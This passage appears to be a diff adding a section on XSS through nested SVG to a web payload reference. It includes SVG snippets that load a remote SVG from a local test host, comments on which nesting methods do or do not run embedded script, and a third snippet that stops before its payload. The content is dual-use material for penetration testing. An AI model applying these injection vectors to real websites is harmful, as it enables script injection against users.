+### XSS in SVG (nesting)
+
+Including a remote SVG image in a SVG works but won't trigger the XSS embedded in the remote SVG. Author: noraj.
+
+SVG 1.x (xlink:href)
+
+```xml
+<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <image xlink:href="http://127.0.0.1:9999/red_lightning_xss_full.svg" height="200" width="200"/>
+</svg>
+```
+
+Including a remote SVG fragment in a SVG works but won't trigger the XSS embedded in the remote SVG element because it's impossible to add vulnerable attribute on a polygon/rect/etc sicne the `style` attribute is no longer a vector on modern browsers. Author: noraj.
+
+SVG 1.x (xlink:href)
+
+```xml
+<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <use xlink:href="http://127.0.0.1:9999/red_lightning_xss_full.svg#lightning"/>
+</svg>
+```
+
+However, including svg tags in SVG documents works and allows XSS execution from sub-SVGs. Codename: french flag. Author: noraj.
+
+```xml
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <svg x="10">
